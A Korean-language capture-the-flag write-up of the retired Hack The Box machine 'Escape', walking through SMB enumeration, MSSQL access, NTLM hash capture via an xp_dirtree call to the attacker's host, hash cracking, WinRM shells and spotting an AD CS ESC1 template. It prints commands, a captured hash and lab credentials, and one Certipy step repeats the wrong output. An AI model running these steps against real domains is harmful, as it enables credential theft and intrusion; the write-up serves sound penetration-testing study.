이번 머신은 폐기된 머신 중 Windows 환경의 머신으로 AD CS관련 머신으로 Active Directory에서 취약한 인증서 환경이 구성되어 있을 경우 인증서를 통한 권한 상승이 어떤식으로 가능한지를 실습할 수 있었다.

1. PortScan

모든 머신의 시작은 역시 포트 스캔이다. naabu를 통해서 오픈된 포트를 먼저 식별하고 nmap을 통해 상세한 스캔을 시도한다.

스캔을 통해서 보이는 하나의 포트는 MSSQL 포트로 알려진 1433/TCP이다. 이번 머신의 발판은 MSSQL로 예상된다.

MSSQL을 제외하곤 일반적인 Windows 환경의 머신에서 볼 수 있는 포트들로 구성되어있으며, LDAP 스캔 과정에서 도메인과 DC 호스트를 확인할 수 있었다.

Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-25 12:59 KST
Nmap scan report for 10.129.228.253
Host is up (0.21s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain?
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-10-25 11:59:24Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
| Not valid before: 2022-11-18T21:20:35
|_Not valid after:  2023-11-18T21:20:35
|_ssl-date: 2023-10-25T12:02:27+00:00; +8h00m00s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
| Not valid before: 2022-11-18T21:20:35
|_Not valid after:  2023-11-18T21:20:35
|_ssl-date: 2023-10-25T12:02:28+00:00; +8h00m00s from scanner time.
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2023-10-25T12:02:27+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-10-25T11:46:02
|_Not valid after:  2053-10-25T11:46:02
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-10-25T12:02:27+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
| Not valid before: 2022-11-18T21:20:35
|_Not valid after:  2023-11-18T21:20:35
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-10-25T12:02:28+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.sequel.htb
| Not valid before: 2022-11-18T21:20:35
|_Not valid after:  2023-11-18T21:20:35
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49669/tcp open  msrpc         Microsoft Windows RPC
49681/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49682/tcp open  msrpc         Microsoft Windows RPC
49704/tcp open  msrpc         Microsoft Windows RPC
49711/tcp open  msrpc         Microsoft Windows RPC
52565/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m59s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2023-10-25T12:01:49
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 193.82 seconds

1.1. DNS

nmap의 스캔결과로 확인한 두 호스트(sequel.htb, dc.sequel.htb)외 다른 호스트가 존재하는지 확인해봤지만 추가적으로 확인되는 호스트는 없었다.

┌──(root㉿kali)-[~]
└─# dig any sequel.htb @10.129.228.253

; <<>> DiG 9.18.1-1-Debian <<>> any sequel.htb @10.129.228.253
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 23368
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 4

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;sequel.htb.			IN	ANY

;; ANSWER SECTION:
sequel.htb.		600	IN	A	10.129.228.253
sequel.htb.		3600	IN	NS	dc.sequel.htb.
sequel.htb.		3600	IN	SOA	dc.sequel.htb. hostmaster.sequel.htb. 154 900 600 86400 3600
sequel.htb.		600	IN	AAAA	dead:beef::227
sequel.htb.		600	IN	AAAA	dead:beef::1d5:2e3e:87f9:8128

;; ADDITIONAL SECTION:
dc.sequel.htb.		1200	IN	A	10.129.228.253
dc.sequel.htb.		1200	IN	AAAA	dead:beef::1d5:2e3e:87f9:8128
dc.sequel.htb.		1200	IN	AAAA	dead:beef::227

;; Query time: 199 msec
;; SERVER: 10.129.228.253#53(10.129.228.253) (TCP)
;; WHEN: Wed Oct 25 00:19:32 EDT 2023
;; MSG SIZE  rcvd: 247

1.2. RPC

rpcclient를 통해 익명 인증이 가능했다. 그렇기에 유저 목록을 열거했으나 권한이 부족하여 열거는 불가능했다.

┌──(root㉿kali)-[~]
└─# rpcclient -U "" -N 10.129.228.253
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> querydispinfo
result was NT_STATUS_ACCESS_DENIED

1.3. SMB

RPC와 동일하게 SMB역시 익명 인증이 가능했으며, 확인되는 공유 디렉터리를 다음과 같이 확인된다. 이중 Public 디렉터리가 흥미로워보인다.

┌──(root㉿kali)-[~]
└─# smbclient -N -L //10.129.228.253

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share
	Public          Disk
	SYSVOL          Disk      Logon server share

1.3.1. \Public

Public 공유 디렉터리에도 익명으로 접근이 가능했으며, 루트 경로에 아래와 같은 PDF파일이 하나 존재하여 다운로드하였다.

┌──(root㉿kali)-[~]
└─# smbclient -N  //10.129.228.253/Public
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Nov 19 06:51:25 2022
  ..                                  D        0  Sat Nov 19 06:51:25 2022
  SQL Server Procedures.pdf           A    49551  Fri Nov 18 08:39:43 2022

		5184255 blocks of size 4096. 1471275 blocks available

smb: \> mget *
Get file SQL Server Procedures.pdf? y
getting file \SQL Server Procedures.pdf of size 49551 as SQL Server Procedures.pdf (39.9 KiloBytes/sec) (average 39.9 KiloBytes/sec)

SQL Server Procedures.pdf

다운로드한 PDF 파일을 확인하면 블라블라 쌸라쌸라하는데 두번째 페이지에서 MSSQL 인증 정보를 확인할 수 있었다.

1.3.2. RID Bruteforce

SMB에서 익명 인증이 가능하여 RID를 무차별대입하여 사용자를 열거할 수 있다. 열거된 사용자 목록을 users.txt 파일로 저장한다.

┌──(root㉿kali)-[~/Desktop/Escape]
└─# crackmapexec smb '10.129.228.253' -u 'anonymous' -p '' --rid-brute
SMB         10.129.228.253  445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.129.228.253  445    DC               [+] sequel.htb\anonymous:
SMB         10.129.228.253  445    DC               [+] Brute forcing RIDs
SMB         10.129.228.253  445    DC               498: sequel\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.228.253  445    DC               500: sequel\Administrator (SidTypeUser)
SMB         10.129.228.253  445    DC               501: sequel\Guest (SidTypeUser)
SMB         10.129.228.253  445    DC               502: sequel\krbtgt (SidTypeUser)
SMB         10.129.228.253  445    DC               512: sequel\Domain Admins (SidTypeGroup)
SMB         10.129.228.253  445    DC               513: sequel\Domain Users (SidTypeGroup)
SMB         10.129.228.253  445    DC               514: sequel\Domain Guests (SidTypeGroup)
SMB         10.129.228.253  445    DC               515: sequel\Domain Computers (SidTypeGroup)
SMB         10.129.228.253  445    DC               516: sequel\Domain Controllers (SidTypeGroup)
SMB         10.129.228.253  445    DC               517: sequel\Cert Publishers (SidTypeAlias)
SMB         10.129.228.253  445    DC               518: sequel\Schema Admins (SidTypeGroup)
SMB         10.129.228.253  445    DC               519: sequel\Enterprise Admins (SidTypeGroup)
SMB         10.129.228.253  445    DC               520: sequel\Group Policy Creator Owners (SidTypeGroup)
SMB         10.129.228.253  445    DC               521: sequel\Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.228.253  445    DC               522: sequel\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.129.228.253  445    DC               525: sequel\Protected Users (SidTypeGroup)
SMB         10.129.228.253  445    DC               526: sequel\Key Admins (SidTypeGroup)
SMB         10.129.228.253  445    DC               527: sequel\Enterprise Key Admins (SidTypeGroup)
SMB         10.129.228.253  445    DC               553: sequel\RAS and IAS Servers (SidTypeAlias)
SMB         10.129.228.253  445    DC               571: sequel\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.129.228.253  445    DC               572: sequel\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.129.228.253  445    DC               1000: sequel\DC$ (SidTypeUser)
SMB         10.129.228.253  445    DC               1101: sequel\DnsAdmins (SidTypeAlias)
SMB         10.129.228.253  445    DC               1102: sequel\DnsUpdateProxy (SidTypeGroup)
SMB         10.129.228.253  445    DC               1103: sequel\Tom.Henn (SidTypeUser)
SMB         10.129.228.253  445    DC               1104: sequel\Brandon.Brown (SidTypeUser)
SMB         10.129.228.253  445    DC               1105: sequel\Ryan.Cooper (SidTypeUser)
SMB         10.129.228.253  445    DC               1106: sequel\sql_svc (SidTypeUser)
SMB         10.129.228.253  445    DC               1107: sequel\James.Roberts (SidTypeUser)
SMB         10.129.228.253  445    DC               1108: sequel\Nicole.Thompson (SidTypeUser)
SMB         10.129.228.253  445    DC               1109: sequel\SQLServer2005SQLBrowserUser$DC (SidTypeAlias)

1.3.3. Password Spray

사용자 열거 이후 SQL Server Procedures.pdf 에서 확인할 수 있었던 패스워드를 열거된 모든 사용자들에 대입하여 인증을 시도해봤지만, 매칭되는 계정은 확인할 수 없었다.

┌──(root㉿kali)-[~/Desktop/Escape]
└─# crackmapexec smb '10.129.228.253' -u users.txt -p 'GuestUserCantWrite1' --continue-on-success
SMB         10.129.228.253  445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.129.228.253  445    DC               [-] sequel.htb\Administrator:GuestUserCantWrite1 STATUS_LOGON_FAILURE
SMB         10.129.228.253  445    DC               [-] sequel.htb\DnsAdmins:GuestUserCantWrite1 STATUS_ACCESS_DENIED
SMB         10.129.228.253  445    DC               [-] sequel.htb\DnsUpdateProxy:GuestUserCantWrite1 STATUS_ACCESS_DENIED
SMB         10.129.228.253  445    DC               [-] sequel.htb\Tom.Henn:GuestUserCantWrite1 STATUS_LOGON_FAILURE
SMB         10.129.228.253  445    DC               [-] sequel.htb\Brandon.Brown:GuestUserCantWrite1 STATUS_LOGON_FAILURE
SMB         10.129.228.253  445    DC               [-] sequel.htb\Ryan.Cooper:GuestUserCantWrite1 STATUS_LOGON_FAILURE
SMB         10.129.228.253  445    DC               [-] sequel.htb\sql_svc:GuestUserCantWrite1 STATUS_LOGON_FAILURE
SMB         10.129.228.253  445    DC               [-] sequel.htb\James.Roberts:GuestUserCantWrite1 STATUS_LOGON_FAILURE
SMB         10.129.228.253  445    DC               [-] sequel.htb\Nicole.Thompson:GuestUserCantWrite1 STATUS_LOGON_FAILURE
SMB         10.129.228.253  445    DC               [-] sequel.htb\SQLServer2005SQLBrowserUser$DC:GuestUserCantWrite1 STATUS_ACCESS_DENIED

2. Foothold

2.1. MSSQL

SMB 열거를 통해 MSSQL 인증 정보를 획득할 수 있었으며, 아래와같이 해당 계정을 이용하여 MSSQL에 접근이 가능한것을 확인할 수 있었다.

접근 이후 데이터베이스 목록을 출력해보니 MSSQL의 기본 데이터베이스 구조만 확인됐으며, 특별한 정보는 담겨있지 않았다.

┌──(root㉿kali)-[~/Desktop/Escape]
└─# impacket-mssqlclient sequel.htb/PublicUser:비밀번호@10.129.228.253
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands

SQL> select name from master..sysdatabases;
name

--------------------------------------------------------------------------------------------------------------------------------

master

tempdb

model

msdb

2.1.1. Stored Procedure

Meatasploit의 admin/mssql/mssql_enum 모듈을 통해 접근 가능했던 MSSQL의 정보를 열거했으며, 사용 가능한 저장 프로시저의 종류를 파악할 수 있었다.

msf6 auxiliary(admin/mssql/mssql_enum) > set USERNAME PublicUser
msf6 auxiliary(admin/mssql/mssql_enum) > set PASSWORD 비밀번호
msf6 auxiliary(admin/mssql/mssql_enum) > set RHOSTS 10.129.228.253
msf6 auxiliary(admin/mssql/mssql_enum) > run
[*] Running module against 10.129.228.253
[*] 10.129.228.253:1433 - Running MS SQL Server Enumeration...
...
...
...
[*] 10.129.228.253:1433 - Stored Procedures with Public Execute Permission found:
[*] 10.129.228.253:1433 - 	sp_replsetsyncstatus
[*] 10.129.228.253:1433 - 	sp_replcounters
[*] 10.129.228.253:1433 - 	sp_replsendtoqueue
[*] 10.129.228.253:1433 - 	sp_resyncexecutesql
[*] 10.129.228.253:1433 - 	sp_prepexecrpc
[*] 10.129.228.253:1433 - 	sp_repltrans
[*] 10.129.228.253:1433 - 	sp_xml_preparedocument
[*] 10.129.228.253:1433 - 	xp_qv
[*] 10.129.228.253:1433 - 	xp_getnetname
[*] 10.129.228.253:1433 - 	sp_releaseschemalock
[*] 10.129.228.253:1433 - 	sp_refreshview
[*] 10.129.228.253:1433 - 	sp_replcmds
[*] 10.129.228.253:1433 - 	sp_unprepare
[*] 10.129.228.253:1433 - 	sp_resyncprepare
[*] 10.129.228.253:1433 - 	sp_createorphan
[*] 10.129.228.253:1433 - 	xp_dirtree
[*] 10.129.228.253:1433 - 	sp_replwritetovarbin
[*] 10.129.228.253:1433 - 	sp_replsetoriginator
[*] 10.129.228.253:1433 - 	sp_xml_removedocument
[*] 10.129.228.253:1433 - 	sp_repldone
[*] 10.129.228.253:1433 - 	sp_reset_connection
[*] 10.129.228.253:1433 - 	xp_fileexist
[*] 10.129.228.253:1433 - 	xp_fixeddrives
[*] 10.129.228.253:1433 - 	sp_getschemalock
[*] 10.129.228.253:1433 - 	sp_prepexec
[*] 10.129.228.253:1433 - 	xp_revokelogin
[*] 10.129.228.253:1433 - 	sp_execute_external_script
[*] 10.129.228.253:1433 - 	sp_resyncuniquetable
[*] 10.129.228.253:1433 - 	sp_replflush
[*] 10.129.228.253:1433 - 	sp_resyncexecute
[*] 10.129.228.253:1433 - 	xp_grantlogin
[*] 10.129.228.253:1433 - 	sp_droporphans
[*] 10.129.228.253:1433 - 	xp_regread
[*] 10.129.228.253:1433 - 	sp_getbindtoken
[*] 10.129.228.253:1433 - 	sp_replincrementlsn

2.1.2. NTLM Hash Relay

2.1.1. Stored Procedure에서 확인된 저장 프로시저 중 xp_dirtree를 통해 SMB통신이 가능하며 해당 과정에서 NTLM 해시를 탈취할 수 있는 공격을 시도한다.

먼저 공격자가 MSSQL 서버 측에서 요청하는 SMB 인증 시 전달되는 NTLM 해시를 캡처하기위해 Responder를 통해 컵처를 준비한다.

┌──(root㉿kali)-[~/Desktop/Escape]
└─# responder -I tun0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.1.0

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C

이후 MSSQL에서 아래와 같은 쿼리를 통해 공격자 서버측에 SMB 인증을 요청한다.

SQL> xp_dirtree '\\10.10.14.52\ntlm-relay'

Responder에서 MSSQL 서버 측에서 요청한 SMB 인증 시 캡처되는 sql_svc 계정의 NTLM 해시를 확인할 수 있었다.

[SMB] NTLMv2-SSP Client   : ::ffff:10.129.228.253
[SMB] NTLMv2-SSP Username : sequel\sql_svc
[SMB] NTLMv2-SSP Hash     : sql_svc::sequel:0000000000000000:000049BA2B917B759B00FC3D9A4F38A2:010100000000000000B022FADC06DA01E4115E17FEDBFE590000000002000800500034003600410001001E00570049004E002D0056005A0053004F004B0039004800460039004F004B0004003400570049004E002D0056005A0053004F004B0039004800460039004F004B002E0050003400360041002E004C004F00430041004C000300140050003400360041002E004C004F00430041004C000500140050003400360041002E004C004F00430041004C000700080000B022FADC06DA01060004000200000008003000300000000000000000000000003000001EFA7302F1CFFA3A98657A7DD58D458D286BB6F85C0613DCCAC1B87E18FC4B0A0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00350032000000000000000000

탈취한 NTLM 해시는 John The Ripper로 쉽게 크랙이 가능하였다!

┌──(root㉿kali)-[~/Desktop/Escape]
└─# john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
 (sql_svc)
1g 0:00:00:02 DONE (2023-10-25 00:50) 0.3355g/s 3590Kp/s 3590Kc/s 3590KC/s RENZOJERSON..REDMAN71
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

3. User

지금까지 내용을 정리하면 SMB에 익명 인증이 가능하여 공유 디렉터리에 존재하는 PDF 파일 내 MSSQL 계정 정보를 획득할 수 있었으며, xp_dirtree 저장 프로시저를 통해 NTLM 해시 릴레이 공격으로 탈취한 해시를 크랙하여 sql_svc 계정을 탈취할 수 있었다.

3.1. sql_svc

evil-winrm을 이용하여 sql_svc 계정의 터미널에 접근할 수 있다.

┌──(root㉿kali)-[~/Desktop/Escape]
└─# evil-winrm -i '10.129.228.253' -u 'sql_svc' -p 'REGGIE1234ronnie'

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\sql_svc\Documents> whoami
sequel\sql_svc

ERRORLOG.BAK

시스템을 정찰하는 과정에서 C:\SQLServer\Logs\ERRORLOG.BAK 파일 발견할 수 있었다.

*Evil-WinRM* PS C:\SQLServer\Logs> ls

    Directory: C:\SQLServer\Logs

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         2/7/2023   8:06 AM          27608 ERRORLOG.BAK

백업된 에러로그 내용 중 Ryan.Cooper 계정의 패스워드로 의심되는 정보가 포함되어있는 것을 확인할 수 있었다.

...
...
...
2022-11-18 13:43:07.44 Logon       Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.44 Logon       Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon       Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.48 Logon       Logon failed for user '비밀번호'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
...
...
...

3.2. Ryan.Cooper

ERRORLOG.BAK에서 확인된 Ryan.Cooper 계정과 패스워드를 통해 winrm 접근이 가능한지 테스트해보니 인증이 가능했다!

┌──(root㉿kali)-[~/Desktop/Escape]
└─# evil-winrm -i '10.129.228.253' -u 'Ryan.Cooper' -p '비밀번호'

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> whoami
sequel\ryan.cooper

Ryan.Cooper의 계정 정보는 아래와 같이 확인된다.

*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> whoami /all

USER INFORMATION
----------------

User Name          SID
================== ==============================================
sequel\ryan.cooper S-1-5-21-4078382237-1492182817-2568127209-1105


GROUP INFORMATION
-----------------

Group Name                                  Type             SID          Attributes
=========================================== ================ ============ ==================================================
Everyone                                    Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access     Alias            S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

3.2.1. BloodHound

AD내 다양한 정보를 통합하여 분석하고자 BloodHound를 통해 AD 구조를 분석한다.

분석하기전 BloodHound에 로드할 로우 데이터를 추출하기위해 bloodhound-python을 이용하여 AD 정보를 덤프하였다.

┌──(root㉿kali)-[~/Desktop/Escape/bloodhound]
└─# bloodhound-python -d 'sequel.htb' -u 'Ryan.Cooper' -p '비밀번호' -dc 'dc.sequel.htb' -ns '10.129.228.253' -c all
INFO: Found AD domain: sequel.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc.sequel.htb
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.sequel.htb
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Found 10 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.sequel.htb
INFO: Done in 00M 41S

또 인증서와 관련된 정보를 덤프하기 위해 Certipy를 이용하였다.

┌──(root㉿kali)-[~/Desktop/Escape/bloodhound]
└─# bloodhound-python -d 'sequel.htb' -u 'Ryan.Cooper' -p '비밀번호' -dc 'dc.sequel.htb' -ns '10.129.228.253' -c all
INFO: Found AD domain: sequel.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc.sequel.htb
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.sequel.htb
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Found 10 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.sequel.htb
INFO: Done in 00M 41S

Certipy Tips

certipy의 find 커멘드를 통해 위와 같이 AD CS 인증서 템플릿, 인증 기관 및 기타 구성을 열거할 수 있다. 하지만 --old-bloodhound 옵션을 지정하지않는다면 기존 BloodHound에서 사용할 수 없는 포맷의 json이 출력된다.

💡 --old-bloodhound 옵션을 사용하지 않고 원본 로우 데이터 json을 사용하려면 certipy 제작자가 포크하여 수정한 BloodHound-ly4k를 사용해야한다.

또 로우 데이터를 BloodHound에 로드하고 분석하기위해서 커스텀 쿼리를 사용해야하는데, 이를 사용하기 위해서 certipy 레포지토리 루트에 존재하는 customcueries.json을 사용했다.

현재 나의 환경은 Mac과 Kali Linux를 섞어서 사용하는데, BloodHound의 경우 MacOS에서 자주 분석한다. 그렇기에 Mac에서 커스텀 쿼리를 적용하려면 ~/Library/Application Support/bloodhound/customqueries.json 경로에 위에서 제공하는 커스텀 쿼리의 내용을 추가하거나 덮어써준다.

╭─juicemon@juicemon-2 ~/Library/Application Support/bloodhound
╰─$ ls -al
total 88
drwx------  17 juicemon  staff    544 10 24 14:30 .
drwx------+ 41 juicemon  staff   1312 10 22 19:09 ..
drwx------   4 juicemon  staff    128 10 16 12:22 Cache
drwx------   4 juicemon  staff    128 10 16 12:22 Code Cache
-rw-------   1 juicemon  staff  20480 10 16 12:22 Cookies
-rw-------   1 juicemon  staff      0 10 16 12:22 Cookies-journal
drwx------   2 juicemon  staff     64 10 16 12:22 Dictionaries
drwx------   7 juicemon  staff    224 10 16 12:22 GPUCache
drwx------   3 juicemon  staff     96 10 16 12:22 Local Storage
-rw-------   1 juicemon  staff    172 10 20 12:55 Network Persistent State
-rw-------   1 juicemon  staff     38 10 16 12:22 Preferences
drwx------   8 juicemon  staff    256 10 24 14:27 Session Storage
drwx------   3 juicemon  staff     96 10 24 14:23 blob_storage
-rw-r--r--   1 juicemon  staff   1923 10 24 14:30 config.json
-rw-r--r--@  1 juicemon  staff   8168 10 24 14:30 customqueries.json
drwxr-xr-x   2 juicemon  staff     64 10 16 12:22 images
-rw-r--r--   1 juicemon  staff      2 10 24 14:30 images.json

그렇다면 아래와 같이 BloodHound Analysis 하단에 커스텀 쿼리를 확인할 수 있다. 이번에 추가한 커스텀 쿼리는 AD CS와 관련된 분석을 도와주는 쿼리로 이번 머신에서 유용하게 사용될 수 있다.

다시 본문으로 돌아와 BloodHound에서 확보된 두 계정을 Mark User as Owned 처리하고
허용된 아웃바운드 권한을 확인했지만 특별하게 부여된 권한은 없었다.

3.3. Privilege Escalation

위에서 AD 정보 및 인증서 정보를 덤프하여 BloodHound를 통해 분석하는 과정에서 AD CS 관련 취약한 인증서가 발견되었다.

3.1.1. AD CS - ESC1

커스텀 쿼리의 Find Misconfigured Certificate Templates (ESC1)을 확인하면 두개의 인증서 템플릿을 확인할 수 있다.

이중 SubCA의 경우 기본적으로 존재하는 인증서 템플릿이나, UserAuthentication라는 인증서 템플릿이 취약하다고 나오기에 구성을 확인해보니, 해당 템플릿은 Domain Users 그룹에 속한 모든 사용자에게 권한이 부여되어있다.

조금더 자세하게 인증서에 대한 정보를 확인하기 위해 certipy를 통해 취약하다고 판단되는 인증서 템플릿을 덤프하였다.

┌──(root㉿kali)-[~/Desktop/Escape]
└─# certipy find -u 'Ryan.Cooper@sequel.htb' -p '비밀번호' -dc-ip '10.129.228.253' -vulnerable
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'sequel-DC-CA'
[*] Saved BloodHound data to '20231025015112_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20231025015112_Certipy.txt'
[*] Saved JSON output to '20231025015112_Certipy.json'

Ryan.Cooper 계정은 Domain Users 그룹에 속한 계정으로이며, 아래와 같이 certipy로 열거한 취약한 인증서의 내용 중 UserAuthentication 인증서의 Flag를 보면 ENROLLEE_SUPPLIES_SUBJECT 가 설정되어있어 ESC1 공격이 가능하다.

